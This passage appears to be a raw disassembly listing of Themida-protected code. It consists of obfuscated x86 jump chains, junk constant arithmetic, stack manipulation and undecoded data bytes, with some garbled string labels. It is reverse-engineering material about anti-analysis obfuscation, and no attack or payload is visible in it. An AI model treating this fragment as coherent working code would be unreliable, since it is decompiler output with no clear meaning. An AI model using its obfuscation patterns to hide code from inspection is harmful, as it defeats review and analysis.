--------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4B951h, 4C010000h, 8B590424h, 0C483243Ch, 8343E904h dd 17B90000h, 8178CC12h, 743206E1h, 0F7F9874Ch, 0EFE8E9D7h dd 0C8010000h, 80B7E9h db 0 ; --------------------------------------------------------------------------- loc_59E5C9: ; CODE XREF: Themida_:005A1B90j ; Themida_:005A2D42j mov [esp+4], al pop eax jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59E5D3: ; CODE XREF: Themida_:005AFB24j push cx jmp loc_5AB230 ; --------------------------------------------------------------------------- loc_59E5DA: ; CODE XREF: Themida_:005A31BAj push edi mov edi, 29E30053h xor edi, 343E0C79h add edi, 8AB1D19Eh xor esi, edi pop edi jmp loc_5AB265 ; --------------------------------------------------------------------------- loc_59E5F4: ; CODE XREF: Themida_:00598A1Aj add ebx, 4 push edx push ecx mov ecx, 447E1411h mov edx, 447E1415h sub edx, ecx jmp loc_5A8563 ; --------------------------------------------------------------------------- loc_59E60D: ; CODE XREF: Themida_:0059B39Bj xor al, bl jmp loc_5A98A9 ; --------------------------------------------------------------------------- loc_59E614: ; CODE XREF: Themida_:loc_5A7EF1j jmp loc_59FB28 ; --------------------------------------------------------------------------- loc_59E619: ; CODE XREF: Themida_:0059E0D9j xchg edx, [esp] pop esp xor edi, 2E91B888h xor eax, edi pop edi push ebp jmp loc_5A23DB ; --------------------------------------------------------------------------- loc_59E62C: ; CODE XREF: Themida_:005A3A7Aj mov [esp], esi mov esi, esp push ebp mov ebp, 4 jmp loc_5AA22D ; --------------------------------------------------------------------------- loc_59E63C: ; CODE XREF: Themida_:005AEEF7j dec ebx jg loc_5A6716 jmp loc_59D763 ; --------------------------------------------------------------------------- dd 203AB850h, 0EFB452CDh, 457DED81h, 0FD017A22h, 457DC581h dd 0D9E97A22h db 0F7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59E663: ; CODE XREF: Themida_:005AA829j sub ecx, 48EC46FDh push edi mov edi, 14012E5Dh xor edi, 6BDC1AE4h sub ecx, edi jmp loc_59B100 ; --------------------------------------------------------------------------- loc_59E67C: ; CODE XREF: Themida_:005A0EBAj mov edi, 13936D10h neg edi jmp loc_59EE49 ; --------------------------------------------------------------------------- loc_59E688: ; CODE XREF: Themida_:0059C05Cj xor [esp], ax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59E692: ; CODE XREF: Themida_:0059C9D3j neg ebx shl ebx, 8 jmp loc_59AC12 ; --------------------------------------------------------------------------- loc_59E69C: ; CODE XREF: Themida_:005A3A94j add ecx, 38C616FBh mov esi, ecx jmp loc_5A01FB ; --------------------------------------------------------------------------- db 29h, 0D8h, 5Bh dd 0C405F001h, 5504DA06h, 0FFFC54E9h, 36A268FFh, 4890000h dd 5348B424h, 0FFE483E9h db 0FFh ; --------------------------------------------------------------------------- loc_59E6C9: ; CODE XREF: Themida_:0059FC59j add esp, 4 xchg edi, [esp] jmp loc_5A866F ; --------------------------------------------------------------------------- loc_59E6D7: ; CODE XREF: Themida_:005A11E5j push edx jmp loc_5ACA87 ; --------------------------------------------------------------------------- db 5, 0E4h, 55h dd 0C70191C7h, 0D3D0E9h db 0 ; --------------------------------------------------------------------------- loc_59E6E9: ; CODE XREF: Themida_:005A1660j ; Themida_:005A31F1j sub ebp, 2C8902D9h sub ebp, 966C9F93h add edx, 12545338h sub edx, ebp sub edx, 12545338h jmp loc_5AC306 ; --------------------------------------------------------------------------- aQhog db 'Qhog',0 align 2 dw 489h dd 695B6824h, 34FF0B3Bh, 0EE95824h db 3Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_59E71F: ; CODE XREF: Themida_:005AF61Cj push ebx mov ebx, 4A1F7F91h push esi push eax push 689F1DE9h pop eax neg eax jmp loc_5A9D26 ; --------------------------------------------------------------------------- loc_59E734: ; CODE XREF: Themida_:005AE867j pop bx push edx jmp loc_59B549 ; --------------------------------------------------------------------------- loc_59E73C: ; CODE XREF: Themida_:0059D1C9j ; DATA XREF: Themida_:005987F0o push dword ptr fs:[edx] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59E744: ; CODE XREF: Themida_:005A93F2j xor ebp, 60D9073Dh jnz loc_5AF95C inc ebp jmp loc_5A730C ; --------------------------------------------------------------------------- dw 5E66h dd 28BF6657h, 81CF8829h, 4C4h, 0DFB4E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59E76A: ; CODE XREF: Themida_:005A2013j push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], edx push 2EF6h jmp loc_5AB205 ; --------------------------------------------------------------------------- loc_59E78A: ; CODE XREF: Themida_:005A39FAj add ebp, 4 xchg ebp, [esp] pop esp push 35C4h mov [esp], ebp mov ebp, 4 push 1EA4h mov [esp], edx mov edx, 42090643h sub ebx, edx jmp loc_5A9BFC ; --------------------------------------------------------------------------- loc_59E7B2: ; CODE XREF: Themida_:0059E2A4j push ebp push ebx mov ebx, 3DD06CD1h jmp loc_5A685A ; --------------------------------------------------------------------------- loc_59E7BE: ; CODE XREF: Themida_:005A9B6Aj push edx mov edx, 24h push ebx jmp loc_5A127E ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48324h, 0C8BCF01h, 15F3E924h, 0EE310000h, 0B69BE95Dh dd 565FFFFFh, 0C681E689h, 4, 0FFAC5DE9h db 0FFh ; --------------------------------------------------------------------------- loc_59E7F1: ; CODE XREF: Themida_:0059ED89j pop edi jmp loc_5A5DFD ; --------------------------------------------------------------------------- loc_59E7F7: ; CODE XREF: Themida_:0059E03Ej pop dword ptr [esp] mov esp, [esp] loc_59E7FD: ; CODE XREF: Themida_:005A168Ej ; Themida_:005A7E25j mov ebx, [esp] jmp loc_5AD21D ; --------------------------------------------------------------------------- dd offset byte_402293+0D56h align 2 loc_59E80A: ; CODE XREF: Themida_:005A759Fj push cx mov ch, 25h jmp loc_59F18F ; --------------------------------------------------------------------------- loc_59E813: ; CODE XREF: Themida_:005AD9E6j push 5D89h mov [esp], ebx mov ebx, esp push 272Eh jmp loc_5A2E94 ; --------------------------------------------------------------------------- loc_59E827: ; CODE XREF: Themida_:005A17E4j ; Themida_:005AF58Aj xor ebx, eax movzx ax, byte ptr [eax] push 7842h mov [esp], ebp push esp push dword ptr [esp] pop ebp push edi mov edi, esp jmp loc_5AFBA7 ; --------------------------------------------------------------------------- loc_59E842: ; CODE XREF: Themida_:005AEDD5j pop eax sub edx, 5A186Dh pop edi sub eax, 61CB4229h sub eax, edx add eax, 61CB4229h push dword ptr [esp] push dword ptr [esp] pop edx jmp loc_5ACF21 ; --------------------------------------------------------------------------- loc_59E862: ; CODE XREF: Themida_:0059B422j or edi, 13E947BAh jnb loc_5A7967 neg edi js loc_5A3F8B jno loc_5ADCBB loc_59E87C: ; CODE XREF: Themida_:0059CF02j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5AD785 ; --------------------------------------------------------------------------- loc_59E894: ; CODE XREF: Themida_:00599CA7j jnz loc_599E9F add ebx, 553A6340h jmp loc_5A2D20 ; --------------------------------------------------------------------------- db 58h ; --------------------------------------------------------------------------- loc_59E8A6: ; CODE XREF: Themida_:005A2739j push ebx mov ebx, 1648499Ch jmp loc_5ADABC ; --------------------------------------------------------------------------- db 50h, 0B8h, 0F9h dd 0E9DC52F6h, 10D22h ; --------------------------------------------------------------------------- loc_59E8BC: ; CODE XREF: Themida_:005A39B9j add edx, 4 push eax mov eax, 4 sub edx, eax pop eax xchg edx, [esp] mov esp, [esp] mov [esp], esp push ebp push eax push 7FD100E0h pop eax dec eax jle loc_5A36C5 shl eax, 7 shr eax, 7 sub eax, 1D100DBh mov ebp, eax jmp loc_59B6A9 ; --------------------------------------------------------------------------- db 0F6h, 0D9h, 0E9h dd 0FFFFC367h ; --------------------------------------------------------------------------- loc_59E8FC: ; CODE XREF: Themida_:0059B27Dj ; Themida_:loc_5A793Cj sub esp, 4 mov [esp], edx push ebx mov ebx, 7C571108h mov edx, ebx pop ebx xor edx, 506A0018h sub edx, 0BA770551h jmp loc_5A1EDB ; --------------------------------------------------------------------------- loc_59E91F: ; CODE XREF: Themida_:005AE00Cj mov [esp], ax mov al, 0D4h add bl, al pop ax push ecx mov ch, 7Dh add bl, ch pop ecx add bl, 6Bh jmp loc_59BB2E ; --------------------------------------------------------------------------- loc_59E937: ; CODE XREF: Themida_:005A027Dj pop dword ptr [edi+eax*4] jmp loc_5989A3 ; --------------------------------------------------------------------------- db 0F7h dd 0F5BCE9D5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59E946: ; CODE XREF: Themida_:005A09F3j mov ebp, 1 jmp loc_5ADB64 ; --------------------------------------------------------------------------- loc_59E950: ; CODE XREF: Themida_:005ACA92j xor edx, edi pop edi jmp loc_5A77C9 ; --------------------------------------------------------------------------- dd 60B685Bh, 16E90000h, 0FF000061h, 34FF2434h, 2434FF24h dd 0FFECE7E9h, 4BAFFh, 6E90000h db 0A2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59E97B: ; CODE XREF: Themida_:00598CDAj ; Themida_:0059BDBFj sub ebx, 17732A90h jmp loc_5997EC ; --------------------------------------------------------------------------- dw 0E9C1h dd 49EEE902h, 0CAB90000h, 81718F2Dh, 8F2DCEF1h, 7EEE8171h dd 81113E3Fh, 3D2711C6h, 81CE0103h, 3D2711EEh, 0AE84E903h dd 2D5B0000h, 672D9D7h, 8958C589h, 0DFF75DEFh, 42B95150h dd 8719E529h, 1C281D1h, 87000000h, 0DFC981D1h, 8134C407h dd 0E23AE8E9h, 0FCC9816Dh, 563AF942h, 903CF6BEh, 0FEB0E97Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_59E9EE: ; CODE XREF: Themida_:005AB012j dec esi jmp loc_5A666F ; --------------------------------------------------------------------------- loc_59E9F4: ; CODE XREF: Themida_:005AC90Cj push dword ptr [esp] jmp loc_59D224 ; --------------------------------------------------------------------------- loc_59E9FC: ; CODE XREF: Themida_:005A3844j add esp, 4 mov dx, [esp] push ebp mov ebp, esp add ebp, 4 sub esp, 4 jmp loc_5AB6D0 ; --------------------------------------------------------------------------- aZ4LSz db '┤4$▀$$И╖с',0 align 2 loc_59EA22: ; CODE XREF: Themida_:0059EFD6j pop esi push ebp mov ebp, esp add ebp, 4 jmp loc_5AFBB2 ; --------------------------------------------------------------------------- loc_59EA31: ; CODE XREF: Themida_:005A4AB4j xchg eax, [esp] jmp loc_5A6208 ; --------------------------------------------------------------------------- db 0F7h, 0DDh, 0E9h dd 4F64h ; --------------------------------------------------------------------------- loc_59EA40: ; CODE XREF: Themida_:0059D54Dj shl ch, 6 jmp loc_5A4EA5 ; --------------------------------------------------------------------------- dd 5E2434FFh, 4C481h, 77E90000h, 5AFFFFCDh, 4E981h, 8CE90000h db 0F4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59EA63: ; CODE XREF: Themida_:005A8A67j push 5150h jmp loc_5ADAFB ; --------------------------------------------------------------------------- loc_59EA6D: ; CODE XREF: Themida_:0059E0CBj ; Themida_:005AF95Dj add edx, edi push ebx jmp loc_5AE4AE ; --------------------------------------------------------------------------- loc_59EA75: ; CODE XREF: Themida_:0059CE82j push eax add dword ptr [esp], 507C7540h pop ebp sub ebp, 507C7540h pop eax add esi, ebp mov ebp, [esp] add esp, 4 push ebx mov ebx, esp add ebx, 4 jmp loc_5AFA75 ; --------------------------------------------------------------------------- loc_59EA9E: ; CODE XREF: Themida_:005A4EA8j jz loc_5A4A47 push edx mov dl, 9 push ecx mov ch, 6Ah sub dl, ch pop ecx mov bl, dl loc_59EAAF: ; CODE XREF: Themida_:005AA7B3j xor eax, 0E2ABFFF6h push ecx jmp loc_59FAB7 ; --------------------------------------------------------------------------- loc_59EABA: ; CODE XREF: Themida_:0059CB90j shl ebp, 1 jmp loc_59B898 ; --------------------------------------------------------------------------- loc_59EAC1: ; CODE XREF: Themida_:005AE944j push 2F473607h pop edx and edx, 2ED43564h jmp loc_59FE0E ; --------------------------------------------------------------------------- loc_59EAD2: ; CODE XREF: Themida_:005A6F89j pop edx push 7574h mov [esp], edi mov edi, 2 add eax, edi push dword ptr [esp] pop edi add esp, 4 jmp loc_59904A ; --------------------------------------------------------------------------- loc_59EAEE: ; CODE XREF: Themida_:005A702Fj pop ebx jmp loc_59A60F ; --------------------------------------------------------------------------- loc_59EAF4: ; CODE XREF: Themida_:loc_5ACD5Bj neg ecx jl loc_5A23A5 jmp loc_5A54FC ; --------------------------------------------------------------------------- db 68h, 0B0h, 1Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_59EB06: ; CODE XREF: Themida_:005A9D61j add ebp, 4 jmp loc_5A5C73 ; --------------------------------------------------------------------------- loc_59EB0E: ; CODE XREF: Themida_:005A308Ej push esp pop edi push ebx push 1CDBh jmp loc_5AD59C ; --------------------------------------------------------------------------- byte_59EB1B db 66h ; DATA XREF: Themida_:00598864o dd 5024048Bh, 0BDFDE954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59EB26: ; CODE XREF: Themida_:0059D10Fj sub ch, 0Ah add bl, 89h sub bl, 0ACh jmp loc_59DB87 ; --------------------------------------------------------------------------- loc_59EB34: ; CODE XREF: Themida_:0059F80Ej sub al, 0FCh jmp loc_5AD127 ; --------------------------------------------------------------------------- loc_59EB3B: ; CODE XREF: Themida_:005A9A76j ; Themida_:005AC1E6j sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], ecx mov ecx, 3F787776h push edi mov edi, 6C973726h inc edi neg edi jmp loc_59A71C ; --------------------------------------------------------------------------- loc_59EB5A: ; CODE XREF: Themida_:005A0E56j xchg edx, ebx push ecx mov ecx, 7F193FAEh add ecx, 982D1D94h or ebx, ecx pop ecx add ebx, 26D013ACh or ebx, 4D5011B6h jmp loc_5A2A96 ; --------------------------------------------------------------------------- loc_59EB7C: ; CODE XREF: Themida_:0059CF2Fj mov ebx, 21CE6845h shr ebx, 1 jp loc_599CA1 sub ebx, 105034D0h jmp loc_5AA4CA ; --------------------------------------------------------------------------- db 88h, 0C1h ; --------------------------------------------------------------------------- loc_59EB96: ; CODE XREF: Themida_:005A3BDDj sub edx, 44000004h jmp loc_5A7B56 ; --------------------------------------------------------------------------- loc_59EBA1: ; CODE XREF: Themida_:005A7338j mov ecx, [esp] jmp loc_5ACA5D ; --------------------------------------------------------------------------- loc_59EBA9: ; CODE XREF: Themida_:005A3623j not esi jmp loc_5A72D7 ; --------------------------------------------------------------------------- dd 8904EC83h, 0E0892404h, 4BA52h, 81E90000h db 95h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59EBC3: ; CODE XREF: Themida_:005AB5A2j mov ebp, 13AA5C65h or ebp, 14DA2C6Fh jmp loc_5A3A65 ; --------------------------------------------------------------------------- loc_59EBD3: ; CODE XREF: Themida_:005AA763j xor eax, esi jmp loc_5AB08F ; --------------------------------------------------------------------------- word_59EBDA dw 4768h ; DATA XREF: Themida_:00598798o dd 0FF000539h, 34FF2434h, 0C4815824h, 4, 522F68h, 243C8900h dd 7E5768h, 0D396E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59EBFE: ; CODE XREF: Themida_:005A4115j pop eax push 74B7h mov [esp], edx mov edx, 0D8E1523h add edx, 0E605C43h jmp loc_5A9823 ; --------------------------------------------------------------------------- byte_59EC17 db 0FFh ; DATA XREF: Themida_:005987A4o dd 84E92C77h db 9Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59EC1F: ; CODE XREF: Themida_:005A4F60j push dword ptr [esp] jmp loc_59D87F ; --------------------------------------------------------------------------- loc_59EC27: ; CODE XREF: Themida_:0059E344j mov eax, esp add eax, 4 jmp loc_5A4AB1 ; --------------------------------------------------------------------------- loc_59EC33: ; CODE XREF: Themida_:005A0CE3j pop esi jmp loc_59B949 ; --------------------------------------------------------------------------- loc_59EC39: ; CODE XREF: Themida_:0059EDFFj xchg edx, ebx xor ebx, 0A9EBC5BFh push edi push ecx push 86101DEh jmp loc_59E317 ; --------------------------------------------------------------------------- byte_59EC4D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005988C0o dd 5A545224h, 4BB53h, 0DA010000h, 81241C8Bh, 4C4h, 0A1685100h dd 89000000h, 83BA2414h, 576B0C3Eh, 850DF9BFh, 308CB947h dd 0F9012387h, 49F1E95Fh, 0EC830000h, 24248904h, 4BB53h dd 44810000h, 57730424h, 5C016F40h, 0C9E90424h db 7Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59ECA3: ; CODE XREF: Themida_:005AB55Aj push esi neg dword ptr [esp] push dword ptr [esp] jmp loc_59BD84 ; --------------------------------------------------------------------------- loc_59ECAF: ; CODE XREF: Themida_:005A5FC0j mov esp, [esp] mov [esp], ecx push edx push ecx push 283B5E5Ch pop ecx not ecx inc ecx sub ecx, 5FF631ECh mov edx, ecx pop ecx push edx not dword ptr [esp] pop edx xchg ebx, edx not ebx xchg ebx, edx push esi mov esi, 172F5424h sub esi, 0A352ECD7h add edx, 32B22347h sub edx, esi jmp loc_5ADD67 ; --------------------------------------------------------------------------- loc_59ECED: ; CODE XREF: Themida_:0059C5F5j xor esi, 2B7A639Eh or ebx, esi pop esi xor ebx, 111149DEh shr ebx, 5 sub esp, 4 mov [esp], ebp push edx mov edx, 7EF7391h mov ebp, edx pop edx jmp loc_5A86D7 ; --------------------------------------------------------------------------- loc_59ED13: ; CODE XREF: Themida_:005AA991j push ebx not dword ptr [esp] pop ebx dec ebx add ebx, 8BB189D3h add ecx, 0A4C1C42h sub ecx, ebx jmp loc_5A724D ; --------------------------------------------------------------------------- loc_59ED2C: ; CODE XREF: Themida_:0059C7F8j pop esi jmp loc_59B5CE ; --------------------------------------------------------------------------- loc_59ED32: ; CODE XREF: Themida_:0059B22Aj jnp loc_5A68B5 jmp loc_5AB83F ; --------------------------------------------------------------------------- db 59h, 0F7h, 0D7h dd 0F691C781h db 20h, 6Eh ; --------------------------------------------------------------------------- loc_59ED46: ; CODE XREF: Themida_:005AF5A2j mov esi, 88D462AAh jmp loc_5A8942 ; --------------------------------------------------------------------------- aAsSi db '─ИцИ╘{',0 align 4 loc_59ED58: ; CODE XREF: Themida_:0059AA32j ; Themida_:0059F30Dj push 42522063h pop edx neg edx jmp loc_5AE292 ; --------------------------------------------------------------------------- loc_59ED65: ; CODE XREF: Themida_:005A384Aj xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_5A3693 ; --------------------------------------------------------------------------- loc_59ED73: ; CODE XREF: Themida_:0059FEA0j jmp loc_5AE3C0 ; --------------------------------------------------------------------------- loc_59ED78: ; CODE XREF: Themida_:0059A8D9j push 1D17h jmp loc_5A3F55 ; --------------------------------------------------------------------------- loc_59ED82: ; CODE XREF: Themida_:005A4BF7j dec ecx push edi push 0FEC3B2D8h jmp loc_59E7F1 ; --------------------------------------------------------------------------- aBRixxpsw db '│Й░КЕ∙PИwш',0 align 2 loc_59ED9A: ; CODE XREF: Themida_:005ADAB7j push ebp push 942h mov [esp], esi push ebx push ecx mov ecx, esp jmp loc_59E4FD ; --------------------------------------------------------------------------- dd 815D5F55h, 4ECh, 24048900h, 565C3EB8h, 5DC50D6Ch, 0B95122FDh dd 468925AAh, 5559C801h, 0BDh, 0E9C52900h, 0FFFFD932h ; --------------------------------------------------------------------------- loc_59EDD8: ; CODE XREF: Themida_:005A1D4Aj pop ebx jmp loc_5AF4DB ; --------------------------------------------------------------------------- loc_59EDDE: ; CODE XREF: Themida_:005A6B45j xchg eax, [esp] mov esp, [esp] jmp loc_5A3406 ; --------------------------------------------------------------------------- loc_59EDE9: ; CODE XREF: Themida_:005A785Fj pop ebx pop ecx mov ch, 52h sub ch, al pop eax or ch, 82h neg ch sub ch, 0FFh jmp loc_5A0C5A ; --------------------------------------------------------------------------- loc_59EDFD: ; CODE XREF: Themida_:0059B006j not edx jmp loc_59EC39 ; --------------------------------------------------------------------------- dword_59EE04 dd 24048B66h, 0D9ADE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59EE0E: ; CODE XREF: Themida_:005A681Cj pop ebx xor dx, di xor di, dx jmp loc_5AD802 ; --------------------------------------------------------------------------- loc_59EE1A: ; CODE XREF: Themida_:005A5D29j jnp loc_5AECE5 sub esi, 8ED0E305h shr esi, 2 jmp loc_5A23F3 ; --------------------------------------------------------------------------- loc_59EE2E: ; CODE XREF: Themida_:0059B7C9j push small 277Fh mov [esp], dx mov dh, 3Fh add al, 2 add al, 84h add al, 0E5h add al, dh sub al, 0E5h sub al, 84h jmp loc_5ABF77 ; --------------------------------------------------------------------------- loc_59EE49: ; CODE XREF: Themida_:0059E683j not edi sub edi, 4BD75080h add eax, edi pop edi jmp loc_5A1CF1 ; --------------------------------------------------------------------------- loc_59EE59: ; CODE XREF: Themida_:005A29AEj pop edx sub esp, 4 mov [esp], ebp push 0DD9h mov [esp], ecx jmp loc_5A3F2A ; --------------------------------------------------------------------------- db 89h, 0E3h, 81h dd 4C3h, 0EF1E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59EE7A: ; CODE XREF: Themida_:005A4576j mov [esp], ebx mov ebx, 1651700Bh sub ebx, 58FA0F81h and ebx, 70EC3A0Dh neg ebx jmp loc_5A75E3 ; --------------------------------------------------------------------------- loc_59EE95: ; CODE XREF: Themida_:005A76FAj sub cx, 0A8D3h mov dx, cx pop ecx xor dx, 481Ch inc dx jmp loc_5AC18E ; --------------------------------------------------------------------------- dw 1489h dd 241C8B24h, 4C481h, 0ACE90000h, 89FFFFB5h, 38E92414h db 8Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59EEC3: ; CODE XREF: Themida_:005AD84Dj sub cl, 77h dec cl xor cl, 0BAh add dh, cl pop ecx add dh, 0Dh sub ch, dh pop edx add ch, 73h shr ch, 1 jmp loc_5A821B ; --------------------------------------------------------------------------- dw 2958h dd 2434FFC8h, 4C48359h, 315CE9h, 24348900h, 0BB53E689h dd 4, 4B4968h, 24148900h, 144750BAh, 7BC2816Bh, 29EB2E12h dd 0EE815AD6h, 77AF2930h, 0C681DE01h, 77AF2930h, 59CBC681h dd 835B5642h, 148904ECh, 4BA24h, 66E90000h, 8F000007h dd 4832404h, 48F0424h, 24048324h, 605E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59EF46: ; CODE XREF: Themida_:00599536j ; Themida_:005A6705j pop eax jmp loc_5A62FA ; --------------------------------------------------------------------------- loc_59EF4C: ; CODE XREF: Themida_:0059C69Aj add al, dl sub al, 0F7h mov dx, [esp] jmp loc_5A4BFC ; --------------------------------------------------------------------------- loc_59EF59: ; CODE XREF: Themida_:005A85BEj sub ebp, 37747F73h jmp loc_5A9FDB ; --------------------------------------------------------------------------- dd 0EDEA840Fh, 0E0E90000h, 51000052h, 0FFB624E9h db 0FFh ; --------------------------------------------------------------------------- loc_59EF75: ; CODE XREF: Themida_:005A0638j xchg ebp, [esp] mov esp, [esp] or edx, eax shl edx, 1 push dword ptr [edi+24h] jmp loc_5AF837 ; --------------------------------------------------------------------------- loc_59EF87: ; CODE XREF: Themida_:loc_5AD9D7j xor edi, 0DA57E778h mov ebx, edi pop edi add eax, ebx pop ebx mov edi, [esp] add esp, 4 add esi, 72D36D82h jmp loc_5A1C88 ; --------------------------------------------------------------------------- loc_59EFA7: ; CODE XREF: Themida_:0059BB40j mov ebp, esp push eax mov eax, 4 push ebx jmp loc_599095 ; --------------------------------------------------------------------------- loc_59EFB5: ; CODE XREF: Themida_:005AF48Ej sub esp, 4 mov [esp], ebp push ecx mov ecx, 1DD01E2h push eax mov eax, ecx jmp loc_5ACCF9 ; --------------------------------------------------------------------------- loc_59EFCC: ; CODE XREF: Themida_:005AA256j pop eax pop esi push esi mov esi, 4 add ebp, esi jmp loc_59EA22 ; --------------------------------------------------------------------------- loc_59EFDB: ; CODE XREF: Themida_:0059A7E9j jz loc_5A0650 jmp loc_5AADC5 ; --------------------------------------------------------------------------- loc_59EFE6: ; CODE XREF: Themida_:0059B416j mov [esp], ebp push 58ADh mov [esp], edx push edi mov edi, 190C7EC4h jmp loc_5AA83E ; --------------------------------------------------------------------------- loc_59EFFC: ; CODE XREF: Themida_:00599A9Aj push 62B3h mov [esp], edx jmp loc_5AE978 ; --------------------------------------------------------------------------- loc_59F009: ; CODE XREF: Themida_:005AAA62j add ebx, ecx mov ecx, [esp] add esp, 4 jmp loc_5AD697 ; --------------------------------------------------------------------------- loc_59F016: ; CODE XREF: Themida_:005AA87Aj pop ecx add ecx, 4 add ecx, 4 jmp loc_598B4B ; --------------------------------------------------------------------------- db 31h, 1Ch, 24h dd 0E9241C33h, 0B61Dh ; --------------------------------------------------------------------------- loc_59F030: ; CODE XREF: Themida_:005AE2E0j push esp mov ebx, [esp] push esi push esp pop esi jmp loc_5AADAC ; --------------------------------------------------------------------------- dd 815BDE01h, 4EEh, 24348700h, 0FFBA54E9h db 0FFh ; --------------------------------------------------------------------------- loc_59F04D: ; CODE XREF: Themida_:005A20C8j xchg eax, esi not eax xchg eax, esi jmp loc_5A0865 ; --------------------------------------------------------------------------- loc_59F056: ; CODE XREF: Themida_:005ADC31j push 612Dh mov [esp], eax jmp loc_5A4701 ; --------------------------------------------------------------------------- db 48h dd 0B831E005h, 0B08A0F2Fh, 5000031h, 6C9912B4h, 29F2800Fh dd 0E9550000h, 23D9h ; --------------------------------------------------------------------------- loc_59F080: ; CODE XREF: Themida_:005A2D79j push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov edi, [esp] add esp, 4 add edi, 4 jmp loc_5AC035 ; --------------------------------------------------------------------------- loc_59F0B7: ; CODE XREF: Themida_:0059D96Aj mov bh, dh push dword ptr [esp] pop edx add esp, 4 push small 5AEFh mov [esp], cx jmp loc_5AD5F7 ; --------------------------------------------------------------------------- loc_59F0D0: ; CODE XREF: Themida_:005A0A83j mov esp, [esp] mov [esp], ecx jmp loc_5A43EB ; --------------------------------------------------------------------------- byte_59F0DB db 68h ; DATA XREF: Themida_:00598804o dd 47Bh, 83243489h, 48904ECh, 0E163E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F0EE: ; CODE XREF: Themida_:0059F291j ; Themida_:005A7169j add edx, 68964CE5h jmp loc_5ADB42 ; --------------------------------------------------------------------------- loc_59F0F9: ; CODE XREF: Themida_:005AF80Fj jmp loc_5A2F7F ; --------------------------------------------------------------------------- loc_59F0FE: ; CODE XREF: Themida_:005AB0DBj push ecx jmp loc_5AAE02 ; --------------------------------------------------------------------------- loc_59F104: ; CODE XREF: Themida_:005ABB7Aj pop edx pop edx jmp loc_5ACB8F ; --------------------------------------------------------------------------- loc_59F10B: ; CODE XREF: Themida_:00598DA8j ; Themida_:005A6E30j mov ch, ah pop eax jmp loc_59C6BD ; --------------------------------------------------------------------------- db 81h dd 0D1F3E0EDh, 5DE92956h, 0FFEC87E9h db 0FFh ; --------------------------------------------------------------------------- loc_59F121: ; CODE XREF: Themida_:005AB2C5j xchg edx, [esp] mov esp, [esp] mov [esp], cx jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59F130: ; CODE XREF: Themida_:005A003Ej pop edi add esp, 4 shr esi, 8 sub esp, 4 mov [esp], ebp mov ebp, 1F4D4B73h or esi, ebp jmp loc_5A9021 ; --------------------------------------------------------------------------- db 81h dd 5131A5E1h, 8E8A0F1Eh, 810000BCh, 0BE1492F1h, 39E98139h dd 89FB73ABh, 240C8BCDh, 8104C483h, 621551E5h, 1B95175h dd 81000000h, 0EC5527EDh, 81CD015Bh, 0EC5527C5h, 0DDE9595Bh db 0E8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59F18F: ; CODE XREF: Themida_:0059E80Ej add bh, 41h sub bh, ch push edx mov dh, 0B2h dec dh neg dh shr dh, 1 add dh, 1Ah jmp loc_5A063D ; --------------------------------------------------------------------------- loc_59F1A5: ; CODE XREF: Themida_:005A63AFj mov al, 32h jmp loc_5AE05D ; --------------------------------------------------------------------------- loc_59F1AC: ; CODE XREF: Themida_:0059DB8Fj sub cl, 3Ch add bl, cl pop ecx push 5E30h mov [esp], edx mov dl, 78h inc dl add dl, 10h sub bl, dl pop edx pop ecx jmp loc_5AA86F ; --------------------------------------------------------------------------- loc_59F1CA: ; CODE XREF: Themida_:005A48CEj neg ebp jle loc_59FA4A jmp loc_5AE273 ; --------------------------------------------------------------------------- db 0FFh a4Siuus db '4$]S┴ЦUИ',0 db 2 dup(1), 0 ; --------------------------------------------------------------------------- loc_59F1E4: ; CODE XREF: Themida_:005AA77Cj mov ebp, 5F80FC0h push 6E0A709Ah jmp loc_5A48E8 ; --------------------------------------------------------------------------- loc_59F1F3: ; CODE XREF: Themida_:loc_59AFFDj neg ecx jg loc_5AAB49 dec ecx sub ecx, 0FF6EF760h add ecx, edi add [ecx], edx push dword ptr [esp] pop ecx add esp, 4 jmp loc_5AA1D7 ; --------------------------------------------------------------------------- db 88h, 0CEh, 0E9h dd 0FFFFD2E1h ; --------------------------------------------------------------------------- loc_59F21C: ; CODE XREF: Themida_:0059BE99j mov ecx, 4 add ebx, ecx push dword ptr [esp] pop ecx add esp, 4 add ebx, 4 jmp loc_5A1F0A ; --------------------------------------------------------------------------- loc_59F235: ; CODE XREF: Themida_:loc_59D621j ; Themida_:005A0DBCj sub ecx, 37DB4994h jmp loc_5AE9A5 ; --------------------------------------------------------------------------- loc_59F240: ; CODE XREF: Themida_:005ABD68j push ecx jmp loc_5A7740 ; --------------------------------------------------------------------------- loc_59F246: ; CODE XREF: Themida_:0059AC36j xor ebx, 0E701C604h mov eax, ebx pop ebx add edx, 161917FEh sub edx, eax sub edx, 161917FEh 